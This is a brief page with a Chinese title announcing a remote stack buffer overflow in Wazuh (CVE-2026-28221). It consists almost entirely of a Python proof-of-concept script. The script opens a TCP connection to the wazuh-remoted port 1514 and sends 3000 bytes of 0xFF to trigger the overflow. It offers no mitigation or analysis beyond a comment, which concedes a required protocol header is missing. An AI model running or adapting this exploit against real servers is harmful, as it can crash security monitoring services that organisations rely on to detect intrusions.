CVE-2026-28221 Wazuh远程栈缓冲区溢出漏洞

import socket # Target IP and Port target_host = '192.168.1.10' target_port = 1514 # Create a malicious payload # The bug is triggered by bytes >= 0x80 (e.g., 0xFF) due to sign extension # Sending a large packet to trigger the overflow in the hex dump path payload = b'\xFF' * 3000 try: # Connect to the wazuh-remoted service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) # Send the payload # Note: The protocol requires a specific header format to reach the vulnerable path, # but the oversized payload itself usually triggers the diagnostic path. s.send(payload) print("Payload sent successfully.") s.close() except Exception as e: print(f"Error: {e}")